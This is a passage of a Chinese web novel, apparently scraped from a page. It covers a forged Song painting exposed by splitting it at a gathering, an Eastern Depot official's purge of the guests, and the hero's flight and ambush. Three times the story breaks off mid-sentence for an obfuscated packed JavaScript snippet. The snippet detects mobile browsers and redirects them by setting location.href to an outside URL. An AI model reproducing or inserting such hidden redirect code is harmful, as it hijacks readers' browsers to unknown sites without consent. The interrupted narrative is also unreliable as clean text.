说着，他转身对一旁的吴家丫鬟道： “烦请姐姐到吴同知书房，帮我请一件竹启子。” 在场之人，多数并不知晓高克行要做什么，唯有像严昆冈这样真正喜爱，又懂书画装裱的人心中一震。 这的确是能在陈阿猫面前，坐实此画为假的唯一手段，是眼见为实的铁证。可这也必然遭至陈阿猫乃至东厂的记恨，虽说一个丫头不值得什么，但高克行把她藏到这个时候，也足见他决定下的艰难。 “不行！不行！” 万梓阙当然也是爱画之人，要不然他不会费心去找一幅宋画的二层揭，也不会知道只有二层揭最能以假乱真。彼时他家中还没有祸事的风声传出来，他为挫高克行锐气，又不敢跟家里以这样稚童赌气一样的借口要钱，只能拿自己的私库，他私库所储，不够真迹所需。 纵然如此，他也留了一些花酒钱，只是可怜邓娘子一无所知，还在屏风后替他受过。 此时万梓阙大叫着，用身体挡住秋山萧寺图，道： “这是哪儿冒出来的毛丫头，她万一手上没轻没重，把我的画毁了怎么办？绝对不行，这画我是要……” “我赔。”高克行打断他，“如若这是真迹，被她毁了，我赔。” 陈阿猫长眉一挑。 一幅宋画真迹，一个三品官家的二世祖，拿什么赔呢？万梓阙已经是坐实了侵吞国帑得来的钱，你的钱又从哪儿来呢？ 更何况高彦韬清廉名声在外，他的儿子从哪里拿出一笔巨款，都是很值得查一查的。 然而高克行继续说： “钱，我不知道你花了多少，我也没有。但这画为假，你身败名裂；为真，我身败名裂，高府任你登门取用。” 陈阿猫不着痕迹地撇了撇嘴，觉得无趣。 至于万梓阙，他当然知道这画是假的，经不起一验，可累世官宦的人家拿名声跟他赌，他一时间找不到搪塞的说辞，只能使劲儿摇着头，两手要抱住他全家的命根。可也就是这个行为，让他失去了刚刚的先机。 “万公子多番推拒，连我拿高家的名节跟你赌，你都不肯，难道也怕这幅画是假的吗？” 当然，不是怕，而是万梓阙心知肚明这就是假的，但他只能胡搅蛮缠。 没意思了，不好看了。 陈阿猫一直含笑的嘴唇抿成了一道直线。 问题出在两个人身上。 其一，叶孤萍拉拉扯扯，耽搁了万梓阙献画的时间，给高家的少爷争取到了得知他目的的机会。 其二，那个一开始跑来跟叶孤萍说，万梓阙手里有一幅假画可以加以利用的人，为什么要把这个消息，也告诉高克行呢？ 无论如何，这场越来越无聊的戏开始叫他生厌了，既然万梓阙觉得二层揭如此完美无瑕，不如把他也效仿此法，制成两张好了。 想到这儿，陈阿猫终于又笑起来，此时一个小监从女席那边过来，不动声色地递上一个条子，看了条子，陈阿猫看戏的心情，更 多了一点。他遣走那小监，才回过身，道： “万公子，不妨让这位婢女试一试，若真毁了，二少爷府上丹青无数，他说了，任你取用。” 陈阿猫的声音自有一番难以言说的蛊惑，但真正的蛊惑，还是这声音背后的权力，万梓阙不得不听，他很怕得罪叶孤萍身边的 人，进而得罪叶孤萍。 但让开了，可能让的就是全家的性命，万梓阙还在犹豫，但竹启子已经呈上来了。 鹿啄接过竹启子，看一眼高克行，问： “揭吗。” 高克行点头。 鹿啄也点头： “我不赔。” 近前的陈阿猫笑出了声，高克行也只有苦笑，摇摇头： “你肯揭，就是我的恩人，我干嘛让你赔。” 话音刚落，竹启子在鹿啄手中打了个转，如剑的一端转至鹿啄手心，高克行赶紧拉住她，犹如嘱咐情人出门在外要多加小心一样，凑近了鹿啄的耳朵，轻轻道： “别，你要想好。” 这有什么想的，坏了又不是她赔。 虽说如此，但鹿啄还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030566|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是从九霄云外将自己抛出去的脑子短暂地拾了回来。 这场面很简单，有一个人想把画送人，但高克行拦着不让，要么就是他太小气，要么就是送画的人有问题。高克行并不小气，早上才给她买了一匹马，别人送她成色不错的玉簪子，他还嫌不够大方。 至于送画的那个，摆明了他的画是假的，他肯定有问题，但一幅假画而已，又不至于让高克行出尔反尔。 那就只剩一个人还在干预这件事了。 那个人的确不太正常，鹿啄刚刚拍掉他手腕的时候，不是随意拍的，她对常人并不怎么用功夫，而是蛮力居多，但这个人用蛮力是不行的。 此人跟高克行的“仇家”有相似之处，但并不完全相似，而且很难拿山中的哪种野兽去比拟他，他像人，相对于野兽来说像人， 对于人来说，又不知道像什么。 想了一圈，鹿啄还是不知道高克行到底要让她想好什么。 如果是要想那个“人”的事，鹿啄觉得没什么好想的。 他又打不过她。 在绝对的力量面前，瞪眼睛耍威风，是伤不到人的。 看了一眼趴在画上的万梓阙，鹿啄问： “你起不起来。” 万梓阙当然不起来，拼命摇头。 高克行心下一紧，怕鹿啄把人整个掀起来，到时候他又要解释自己的婢女为何力大如牛，正在他心念飞动为鹿啄思虑借口的时候，只见鹿啄一回头，对陈阿猫道： “他不起来。” 陈阿猫的心里漾出了一丝很奇怪的感觉，他没有接受过强者的求助，弱者的求助，他不屑一顾。而如若强者落难，他最喜欢的是凑上去分享那强大的，因用尽而枯竭的活气，将这样的活气据为己有，将奄奄一息的强者踩在脚下，让他觉得自己的存在很真 实。 但现在这个在场唯一被他认为是强者的人，改弦易张，想要使用智慧了。 帮帮她会怎样呢？ “万公子。”陈阿猫确实也不太想再忍受万梓阙的丑态了，“请。” 请你下来，还是把你请下来，都是请。 他的声音陡然变了一个调子，旁人听来都觉得是不耐烦了，万梓阙只会更怕，他悻悻地从画上下来，瞪了鹿啄一眼。 鹿啄没注意到，她正盯着手里的竹启子。片刻后，她对高克行一伸手： “刀。” 高克行顿住。她怎么知道他带着刀？早知道就不让吴家的丫头去拿竹启子了。 刚还怕暴露她会用刀，结果人家全然不在意。高克行从怀里把鹿啄的刀掏出来，比起昨天，这把刀今日已经封上了一口乌木刀鞘。 鹿啄接过刀，把刀鞘退了还给高克行，但她这一次没有去摸刀柄上的机关，而是让高克行拿住画的两角。 “姑娘且慢！” 人群中，严昆冈突然冒了出来。 他已经忍了很久了，但情势急迫他不好开口，可眼见他再不开口鹿啄就要酿下大错，他不得不站了出来，对鹿啄道： “姑娘，这画还没有用水闷过，如何揭？” 或者说，你真会揭吗？你不会是给高克行灌了迷魂汤了吧？ 但他现在只能祈求鹿啄只是一时忘了。 陈阿猫其实也不太相信鹿啄会揭画。 要知道那一身上乘功夫非十年不能练得，她怎么有时间又学一门手艺，除非她在家里不做任何杂事，除了穿衣吃饭，就是习武和 磨练技艺，而纵然这样，也得是天赋异禀才行。 他神思回体，发觉轩中安静，一低头，见鹿啄执着画的另外两角，示意他拿着。 见她真要不做任何准备就动手，严昆冈急得几乎在后头惨叫，但鹿啄理也不理，又把画往陈阿猫手里送了送，他的对面，高克行 也盯着他，但没有严昆冈那么紧张。 这主仆二人如此自信，陈阿猫笑笑，接过了画，和高克行二人各执一边，将画展平。 剥皮刀被鹿啄拿起，寒芒一闪，众人这才看清，那刀身很薄，是特意磨成这个样子的，刀柄刀身相连，反向旋着的两枚弦月形状，这类形制的武器，脱手后如果使力得当，可以再飞回持刀人手中，是很实用的暗器。 还不等旁人回神，只见鹿啄左手二指已经探出，拈住了高克行所执画作角上一道几不可察的微小起鳞处。 “疯啦！”万梓阙的嘶吼刚落—— 刺啦—— 一声极其轻微、却清晰可闻的裂帛声，让整个方轩骤然死寂。 薄而锋利的剥皮刀切入撕开的缺口，与鹿啄的左手如影随形，在缝隙间以一个几乎完全不变的角度，恒久如一的力度，将秋山萧寺图一揭为二。 不，与其说是揭，不如说是在为这张画“剥皮”。 速度极快，却又给人一种奇异的、举重若轻的从容感。 几乎只是一个呼吸之间，一幅完整的画作，已然在她手中被清晰地分离成两层。 上层是万梓阙熟悉而钟爱的秋山萧寺图，而下层，则露出了另一幅绢色更为浅淡的陌生画作的一角，可那能说是“画”吗？其上墨迹深浅不一，有的地方几乎全然是空白的。 真迹与命纸分离时，命纸所着真迹的墨色已浅了几分，再用这张命纸伪作画心，再覆上命纸，那新的命纸所沾到的墨色只会更少，加之又要为所谓的画心补色，下面的新命纸自然显得不像一幅画，而像是一张用来吸墨汁的废纸。 铁一样的事实摆在陈阿猫眼前，他没什么要说的了，而且他早知道是这个结果，不过他还有一句想问高克行： “你这丫鬟卖吗？多少钱。” 37. 高克行必须死（上） 揆之于理，高克行不能拒绝这场买卖。 他是白衣，陈阿猫至少是东厂无品缉事，即便无品，也是吏。 上位有权之人向区区草民讨要一个丫鬟，还是买，不容辞拒。 “卖吗？” 高克行转身看着鹿啄，几乎是学着鹿啄刚刚那句“揭吗”的语气。 如果此时是在京城，鹿啄或许会考虑，毕竟她还不知道在京城害了姐姐们的人是谁，找一个会武艺的共谋说不定更有胜算。但此时是在青州，殷碧还没死。 鹿啄摇摇头： “不。” 高克行冲着陈阿猫一拱手： “您听到了，恕罪。” 陈阿猫并不恼，也不理会鹿啄的话，只对高克行道： “看来是二少爷不肯割爱。” “怎么会？”高克行故作惊讶，“这丫鬟买回来花了多少银子我都不知道，而且我看陈大人势在必得，我该好好讹您一笔，只是她自己不愿意，我不爱强迫女人。” “这更是君子所见略同了。” 陈阿猫的音调柔和，仍旧动听： “我也不爱强迫女人，我会让她们自己愿意到我身边来。” 此言不虚，但作何解释要看是何人解释，至少高克行的解释与陈阿猫完全不同，他道： “这倒未必吧。”他突然锋芒毕露，“如果陈大人真不爱强迫女子，劳烦跟我姐姐和妹妹说一声，今儿我累了，要先回，会在家里等她们。” 他早就发现女席那边很久没动静了，小姐们调笑的声音，偶尔传来的丝竹雅乐声，在某个时间，从这个花园里悄悄隐去。 在场人闻言，目光都骤然向屏风之后投去，此时已是正午，那屏风叫阳光打透，隐隐能看到两个番子雄壮的背影。 不少人的家小姊妹都在那里，人群一改方才的寂静，喧闹起来，有人高喊道： “怪不得久不闻声响，原来你们将人私自禁锢！” “光天化日，尔等竟敢囚禁官眷？！” “这……这到底是雅集，还是你们阉宦的私设的公堂！” “我等家眷无旨、无驾帖、未犯官非，你们凭什么羁押？” 对于真假画作的事，殷封一窍不通，但此时气氛热烈，法不责众，他一直暗中怀有要帮上忙的念头，趁乱可以动手，于是干脆大步流星，直奔屏风而去，此时又听严昆冈大声呼喝： “你到底是什么人！光天化日，侍卫擅闯官眷席，视同白日强盗，罪加一等！依律应杖八十！” 诸多的非议，咒骂，潮水般汹涌的怒吼，呼喊，陈阿猫犹如充耳不闻，他只是慢慢地，似乎忘了什么在寻找一样，摸出了一块儿象牙腰牌，腰牌上书左右两纵小字“北镇抚司镇抚使”下书其名“陈星霜” 此牌一出，在场已全然噤声，但陈星霜犹不满足一样，道： “镇抚使兼东厂理刑百户，查机密要务，阻者，格杀勿论。” 万梓阙立时一歪，栽倒下去。 如果他知道他该送画的正主一直都在眼前，就是让他当场把头磕破，也绝不可能让高克行揭穿他。再想想此人刚刚所说的话，那是早就知道了自己的意图。 自己要把一幅假画送给东厂，就是要把一幅假画送给天子，这是欺君罔上，九死无生的路，他当然怕，没有吓破胆，已算他很有骨气。 “陈刑官还是自己给自己起的名字好听些。” 既然已经亮明了身份，高克行也知道他的底线，没拿到高家结交朋党的实证，他并不能当场将高克行下狱，高克行自然有心情调侃。 “是么。”陈星霜笑意盈盈，“所以二少爷才在长街上拒我的拜帖？” 高克行将那令人毛骨悚然的笑容悉数奉还，道： “并非我拒的，是您带的贵人，并没瞧得上我。” 陈阿猫真的露出了很惋惜的神色，道： “是我御下无方，二少爷风度品格，区区三百两，我不拿，倒显得我吝啬了。” 什么结交、长街、三百两，听不出个所以然来，人群中都是一阵小声议论，但始终高克行是拒了东厂的帖子，也没掀起什么过多的声讨。然而许是风头让高克行一人出尽让从旁不发一言的严昆冈觉得面上发紧，他壮着胆子近前一步，道： “敢问陈刑官，拿我们可有驾帖？” 这个人跟他妹妹倒是不像。陈星霜摸了摸下巴上不存在的胡须，道： “事涉机密，情势紧急，皇权特许，容后请帖。” 他这一段话没起伏，也没声调，像是背出来的，但严昆冈偏偏无法驳斥，只能又道： “那至少要告诉我们，我们所涉何案，有何干系吧？若无干系，最差也该暂拘于各人府上，没有在同知家的花园里审我们的道理。” “没说要审。”陈星霜冲他一笑，“证据确凿，我审什么？” 证据确凿？什么证据？ 严昆冈不明就里，如果万家伏诛，纵然高家摘不干净，殷家长女是高家主母，也不干净，但他们严家应该是相对最干净的，更何况方才殷封跑到女席那边去了，都没人拦他，不像证据确凿的样子啊。 画不是没献出去吗？ 陈星霜独特的声音响起： “山东承宣布政使万绍吉，与咆哮内廷，冒犯天颜之邓犯私结朋党，证据确作，其子万梓阙，为父延揽权臣达官，与同知吴弼之子吴勉合谋，欲在雅集上共谋结党一事，吴勉供认不讳，口供人证俱全。” 为叶孤萍和陈星霜引路的吴公子，的确再也没有回来。他此时已是再也不能辩白的境况，或者说吴家上下，包括从女席上似乎被放走的吴小姐，也是这个境况。 方才还在怀疑吴家依附权宦想要向上爬的众公子们，心中只有悲凉，如果与吴家易地而处，恐怕也只能帮着他们给万家设套，以 求自保，再被弃如敝履，招致杀身灭族之祸，无路可选。 陈星霜弯下腰，看了看犹如烂泥一团的万梓阙，道： “而且万公子，你娘子方才也已全都招了，你做的好事不少，不止这一两件。” 万梓阙想高呼冤枉，但匆匆而来的脚步声冲散了他破碎的声音，东厂的番子们从女席过来，霎时之内又把男席围了个水泄不通。 他们出现在这儿，就证明，女席已经彻底无需看守了，但是各中原因，是出于她们已经被邓氏的惨状彻底镇住，还是出于别的，不得而知。 等所有人站定，叶孤萍亲自从人群中搬来一把太师椅，置于陈星霜身后，等陈星霜坐了，他也不敢动，静静听陈星霜道： “至于万、吴两位公子结交何人，想与何人结党，请诸位出示今日所具拜帖，给我们瞧瞧。” 今天来的人，大多是直接收了万梓阙和吴勉的拜帖，毕竟雅集就在吴家，根本避不开。可拿了他们的拜帖，就是私下共议结党之事，若按东厂的理论，的确是证据确凿。 众人忽然意识到，这哪里是查案，根本是政治清洗。 “对了。”陈星霜接过小监奉来的茶，呷了一口，“二少爷。” 高克行匿在人群中，他已打定主意，如若今天他不能走脱，就叫鹿啄回去送信，以鹿啄的能力，纵然要费些功夫，但也许可以出去。 左右两侧的人将高克行让了出来，高克行看着陈星霜，没有说话。 “方才你说让我给你的姐妹传句话，这个不用了，她们现在已经回去了。” 又是一阵嘈杂的人声响起，无非是在议论为什么高家的女眷可以幸免，看来女席那边不用看守的答案是二者兼有，一部分人被释放了，另一部分人再也不敢反抗。 陈星霜把茶杯还给小监，又道： “你们也不用急，如果都像高大小姐一样有勇有谋，你们的家眷也是可以回去的。” 有勇有谋？ 高克行抿住了唇，他的嫡姐的确是有勇有谋，贵女做派，从小就是以高门主母的模子培养的，可越是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030567|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要她知道自己身份贵重，在这种时候就越容易被逼上绝路，而她被逼上绝路会做出什么，高克行想不到。 “她可能不喜欢吴小姐吧。”陈星霜撑住了下巴，“提点了叶镇守一句，有罪之人怎么会出现在她家的雅集上，她又为什么会为有罪之人延揽了这么多的官员家眷，我觉得她说得对。她如此为东厂着想，为我们着想，我觉得你们高家应当是清白的，就放她走了。” 鹿啄揭画之前，陈星霜从身后人手中拿到过一个条子，无人注意，但那上面应该就是高雅英进献的“脱身之策”。也是看到了那张条子，陈星霜才同意叫鹿啄揭画。 这个脱身之策，已将高家在雅集众人的眼中，充作了与阉宦勾结，依附阉党的叛徒，无论高克行如何再辩，都已无回天之力了。 对于高雅英来说，可喜的是，殷封并不在场，没听到她的计谋。 而此时就在外头，距离刚刚被释放的高雅英高汐英不过数十步之遥的殷封，自己也不知道，他为什么会被轻易地放了出去。 高克行被至亲姐姐架在横竖都是一条向死的路上，就在前一刻，他还以为他已经救了所有人，但似乎高家总是有背不完的污点，无穷无尽的问题要他去解决。 为了一次次的挽回这种局面，他不惜把自己装成另一个人；不惜把他的理想，喜好，人生，全部抛弃；不惜把他小心翼翼维护的，让他拥有了那么一点点快乐的阿啄拉进危险。 可高家给了他什么？ 接受姐姐的说法，高家不容于文官之中。 父亲的官声，大哥的前途，三弟在殷家求武举的路。 如若他什么都不做，这一切就全毁了。 但不接受姐姐的说法，跟她划清界限，别人只会觉得他弃车保帅，投靠宦官的名头仍然摘不掉，同时还会因为不识相引来东厂和权宦们的厌恶、压制。 纵使他什么都不做，陈星霜一定也会放他走，坐实高家子女全部投靠东厂。届时，他和姐姐都是已经没用了的尘土，只要扫出去就行了。 他不能怪嫡姐，她要活，不能等着自己去救，更何况她也不会相信自己能救，比起个人乃至整个高家的名节，姐姐最后选择了性命，这其实出乎他的意料。虽然他知道东厂哪怕再丧心病狂，也绝不敢光天化日之下无故屠杀官家女眷，但姐姐不知道，她一个闺阁女子，哪里见过东厂的世面。 这就是他的宿命，他从八岁那年，已经自己选择了这种宿命。 高克行想起了，不过一个时辰之前，他还跟阿啄调笑，要阿啄一定保他活。 现下，居然真的到了要让阿啄保他活的局面了。越想到这些，他越不甘心。 鹿啄的刀摆在书案上，高克行悄悄将刀拿在手里，随后，他走出人群，一直走到陈星霜近前十步左右的位置，正色对叶孤萍道： “你对我姐姐屈打成招，又栽赃陷害，高家与你，不共戴天。” 话毕，高克行手中的刀已经飞出，直奔叶孤萍而去，但刀到了近前，叶孤萍还没反应，陈星霜已经凌空抓住了刀柄，再回身想要找高克行，却见高克行拉着鹿啄一路向外狂奔。 东厂番子能拦住高克行，但绝拦不住鹿啄，他们从人群穿过，跑出几步，就见高克行已从牵着鹿啄变成了被鹿啄拉着手狂奔，只要有一个番子追上来，就是一记飞蝗石打在膝盖上，后头的番子根本看不清是什么情况，前头的人就纷纷倒了下去。 与此同时，后头的清流公子们见有跑的机会，也互相呼喊着追上。 东厂的番子原有阵型和布局，但追着鹿啄跑出去时已冲散了在原本位置上的番子，要制住所有人，已不能再井然有序，混乱不堪下，陈星霜跟叶孤萍，同时从方轩中绕了出来。 公然与太监宣战，保住名节，但又不能刺杀钦差，否则必死无疑。 似乎做到了。 但从此以后，他与自己，就是死仇，高克行还是必死无疑。 叶孤萍心中一阵冷笑。 38.高克行必须死（下） 高克行的书童，在雅集未及过半时，被遣去秣马。 他很乐意得这份差事。 因为叶孤萍很吓人。 高家三位少爷之中，有高克肃这样不要一位女婢近身侍奉的，也有高克行这样，使着七八个书童，三五位女使的。 他出门鲜少有什么偏好，出门挑哪个书童随侍都看当日的心情，也不像别家少爷一样把心腹事说给书童，状似感情上大开大合，其实少与人交心。 自然今日这位书童对他的忠心看得就淡些，比起时时在侧守护着主子的性命与尊严，他更想把今日的差事敷衍了事，平安回去，至于下次再挑上哪个倒霉鬼随行，与他不相干。 这一则美好的希冀被远处卷来的烟尘刮散，书童在烟尘中看到了自家少爷被一女子携着，狂奔而来，快到近前时，少爷累得几乎虚脱，上气不接下气地唤他： “上马！上马！” 书童一手指了指自己的鼻子，瞪大了眼睛，投去求知的目光。 “对对对，快！” 他一连说了三个对字，但哪里是他着急，人就能突然长出本事来的呢？书童没骑过马，对着脚蹬子发痴。 但鹿啄已经到了，她停住脚，一手拉起书童的后衣领，向上一提又一松，书童狂呼着落在了马背上，她自己也上马，回头要去拉高克行，高克行连连摆手，拉住马鞍踩蹬上马，坐在鹿啄身后，两手牵住缰绳。 他气还没喘匀，但鹿啄哪里由他再等，两腿一夹马腹，黑马奔出，路过书童所乘红马时，鹿啄手置于唇边吹了一声哨子，那红马竟然听得懂，跟在了黑马后头。 “回家！”高克行对后头的书童大声道，“不要走来时的路！” 书童在疾风中张着嘴哭嚎，风灌了一嘴，但他不忘哭道： “回去说什么啊二爷！!” “知道什么就说什么，别的不管！” 留下这一句，高克行与鹿啄所乘的黑马消失在街角。 天至亭午，花影轻筛，蝉声如沸，蹄声乱碎，踏破长街阒寂，关于那场雅集的一切都在身后远去，拉着悠长的余韵。 身后没有追兵赶来，高克行勒住缰绳，将黑马驭到街侧，隐于无数门房飞檐之下，放缓了脚步。 “咱们不能回去。”他手拉缰绳，上半身几乎贴着鹿啄，对她轻声道：“至少今日不能回，东厂必不会明目张胆地索拿我，追兵只在暗处，咱们回了，就是把賊引进家门。” 话毕，他感觉怀中人忽然动了一下，只见那坐在黑马前头的女子摇了摇头： “我得回去。” 她不怕追兵，但跟高克行东躲西藏，就不知何时能再报仇了，纵然高克行所握的信息可贵又方便，但本末倒置并不可取。 “你也不能回。”高克行又回头看了看身后，“我没回，你回去了，一定要问你我去哪儿了，到时你怎么答？” “不知道。” 不是不知道怎么答，而是答的就是“不知道”。 短短两日相处，高克行已深知她在对答上的独树一帜，立时明白她要跟高家的人说不知道少爷去哪儿了，遂叹气，又哄道： “这是你说不知道就不知道的吗？旁的小事是可以这样应付，但这是我的命，你说不知道，别人会疑心是你害我，或是你别有所图，与外人联手害我，肯定是要先把你羁押起来，你还想回哑巴窝里扫地，是决计不能了。” 回高克正院子里扫地，当高克行的事没发生过，这的确是鹿啄的计划。但怎么就决计不行了，她不明白。嫌疑、羁押、审问、勾结、暗害，这全是鹿啄在进入到高府之后才明白存在于人间的规则，而她对高府的规则是，假若我没有做，别人施加于我的规则又凭什么。 于是她不说话，是为一种抵抗。 击退东厂番子的时候俨然一个深思熟虑的女侠，这时候又像三岁稚童，高克行实不知该拿她怎么办，便决意先稳住。 “阿啄你瞧，好比说山中有一窝小兔，这里头有两只小兔结伴去玩，天黑了，小雌兔回来了，小雄兔却没回来，别的小兔就问雌兔，雄兔去哪里了，怎么没跟你一起回来，小雌兔就说：‘不知道’如果你是别的小兔，你如何想？” 这例子只是把高家人换成兔子重新说了一遍，但鹿啄却觉得更容易理解一些，这个剥离了鹿啄所憎恶的规矩的故事，让她愿意从人而不是制度的立场去思量。 更何况，他所说的这个场景，就与当时啜狗山大雨，逐娘带鹿鸣上山，但只看见了逐娘，并没看见鹿鸣一样。 窝里的小兔，也就是她们姐妹六个，当然会有不同的想法。 二姐姐觉得逐娘与鹿鸣遇到危险失散了，但大姐姐就觉得是鹿鸣抛下了逐娘，大家对这个还没见面的姐妹，印象一下不好了。 如果当天她们能在山上找到鹿鸣，肯定也是暂时要把鹿鸣控制起来，不能叫她随便下山的。 鹿啄懂了。 “那我们什么时候回去。” 我们，而不是我。 兔子的方法奏效了，高克行忽然觉得心头酸软，不自觉地摩挲着手上的缰绳，答道： “不会太久，等咱们先找个地方藏身，我有安排。” “哪儿？” 对于鹿啄和高克行来说，青州都是人生地不熟的地方，但相较而言，鹿啄更不熟，所以只要不违逆她的原则，她可以依着他。至于原则，鹿啄现在对高克行的原则仍然一致，不诓骗、不为难、不伤害，高克行一直以来做得不错。 “昨天如果没遇上你，我原打算到锦裱堂走一趟。”高克行心不在焉，似乎在回忆锦裱堂的路，“那地方有一间专为我裱画的堂屋，可以先去那儿，大隐隐于市。若无追兵，我们赁一间屋子，直至此事了结。” “什么事？”朝堂权术在鹿啄眼中是一片荒芜之地，但她知道的确有事，末了又补了一句：“怎么结？” 锦裱堂的路已在高克行脑中清晰起来，他打马奔锦裱堂后巷而去，一并答鹿啄道： “这便不是一时半刻能讲清的了，你若真想知道，还是要换。” 她没对到锦裱堂躲避的事有什么看法，只关心这事什么时候能弄清楚，她好回高家，于是爽快道： “问。” 半日前，也是在这段长街上，高克行有一个没有得到答案的问题，他急切想知道这个问题的答案，却比半日前多了许多顾忌，他开始畏惧，几番要开口，又想不如就这么糊涂着过，可始终良心战胜了别的什么，他道： “你的姐姐们，是高家人害死她们吗？” “是。” 高克行的心猛然向下一落，坠到一片深不见底的火海之中，黑暗，熊熊燃烧，烧得他疼痛不已，但甘霖又随之降下，鹿啄想了片刻，补充道： “也不全是。” 放在别人身上，如果给出这个答案，高克行绝不会心存侥幸，无论此人是谁，只要在高家，就与高家的利益有损，但此时他却觉得，这是天底下最好的答案。 有人害了鹿啄的至亲，要她一个全然超脱在此间俗世之外的人裹上一身格格不入的皮来寻仇，这人又在高家，如果是他所亲所爱之人，等待他的只有万劫不复。但他又无法回避这种猜测，因为鹿啄出现在高家不能是平白无故，她的仇人只能与高家有关。 这个“是也不全是”，可能是说此人并非姓高，也可能是此人是与高家沾亲带故，甚至此人只是高家的一个仆婢，无论哪一种，都已是对他的一种赦免。 “是谁？” 他生出贪心，也是怕那仇人是陆从漪，如果不是，他甚至愿意帮她，纵然要他亲手去做什么都好，只要不是陆从漪。 “你先答我。” 鹿啄不满。她还以为高克行会遵守自己定下的规矩。 绕过几处石墙，两人已到了锦裱堂所在后巷，高克行闻言才知道自己急切，笑了笑，道： “若想让你明白这个，得先让你把全天下的事都明白一遍，要不我问个简单的，你只答是或否，容后我把一切都讲给你听，不图回报，如何？” 答应他，就要先考校他在心中的信誉。鹿啄想了想，给了个约在中游的分数，点点头。 高克行还担心她一根筋，定了的事不肯改，但见她如此肯变通，又觉得摸到一点她脾气的门道，忙趁她尚未反悔，道： 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035204|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你的仇家是陆从漪吗？” 为了使鹿啄彻底明白是谁，他只能冒犯生母的名讳，否则说个陆姨娘，鹿啄压根不知道是谁，或与旁人记混了，都是可能的。 “不是。” 她不光记得陆从漪是谁，也还很清楚的知道高克行是她的儿子，故而一下就明白了高克行在担忧什么，不由在心里想这怕也是个呆子，如果他是仇家的儿子，鹿啄又怎么可能帮他。一如怜悯高克正，鹿啄也怜悯似的又给高克行补充了一句： “不是与她有血亲的任何人。” 柳暗花明。高克行不禁笑了，也暗骂自己傻。 二人纵马前行，巷内夹道逼仄，巷中不见行人，唯余几扇门扉紧闭，不闻往日巷中纸行卸货之声，也不见到后门倒浆糊水的锦裱堂伙计。 午间各家店肆若非有紧要的事，因着伙计们都在用饭，是会冷清些，但却不会如此冷清。 混杂着桐油味儿的空气中飘来一丝酸臭，脚步声随即响起，不疾不徐，却夹杂着铁器碰撞的脆响，来者少说也有十余人，跟高家晨昏定省时祖母院子里的动静快差不多了。 高克行立即下马，见鹿啄也要下来，他伸手稳住她，道： “要么是追来的，要么是等在这儿的，横竖是为了我，你走。” 窄巷尽头，已露出几个作绿林打扮的汉子。 “我走，你死。” 鹿啄沉声道。她知道高克行或可能有其它的打算，但像他这样手无缚鸡之力的公子，更像是不知自己到底是何处境，她该告诉他。 “死不了，”高克行拉着马头转向巷外，来者的身影将到切近，他皱眉回望鹿啄，道：“我还没来得及给你讲，但你只需知道这世上有这样的道理，我一条命不值什么，他们想要的，得我活着才能有，所以我死不了，你快走。” 马跟鹿啄都看着他，他已经没有时间，那一行人站住了，好似在等他一样，脸上都挂着残忍的笑。 高克行当然知道鹿啄武功高强，可对面施施然走过来的，数一数有十数个人，各个块头有鹿啄的两个大，纵然鹿啄能全身而退，又能在保着他的情形下全身而退吗？ 思及此处，高克行抽出马鞭，用力挥鞭打马，黑马嘶叫一声奔开，高克行扔鞭回头，对上了面前的人。 他孑然踏出一步，却见到了来者手中抽出的兵刃。 有刀有斧，还有绳索。 绑一个书生回去复命，何至于用上这些，高克行背上生出细汗。 真的要他的命吗？ 他的命何时这么值钱了？ 无数人影与景致在他眼前闪过，如果今天就是他的死期，他无愧于天无愧于地，无愧于生身父母，只有愧于自己。如果他没了，高家的难题想必迎刃而解了，他已将事情做在前头，高家可以拿着他的尸体到陛下面前要个说法，姐姐的事得以掩盖，哥哥弟弟前途坦荡，阿啄…… 阿啄。 一阵罡风猛然略过高克行的头顶。 人形的黑影，如倦鸟还巢、鬼魅出渊，腾空而过，在高克行尚未看清之际，一轮清辉自黑影手中飞出，反旋的弦月游入人群，破空之声骤然响起，其声凄厉，戾气穿云，似孤鹰唳于九霄，又如断弦裂帛。 朝高克行袭来的三个大汉的琵琶骨、蝴蝶骨、锁骨上银光一闪，继而都痛叫着倒下。 鹿啄落地无声，身形未起，顺势向前一滑，抬手接住飞回的剥皮刀，刃尖如在手中挽剑花，自左至右，倒手间划开已至鹿啄身侧两个壮汉的后膝窝。 倒下五人，鹿啄一手持刀，一手撑地向后空翻，躲过身前劈来的利斧，下落时，又一脚直中持斧人面门，那人应力倒下，面部扭曲，鹿啄同时借力拔起身子，踏在一个倒地打手身上。 三块飞蝗石瞬息间催发，又是三人倒下，为鹿啄铺开一条由倒卧之人组成的阶梯。 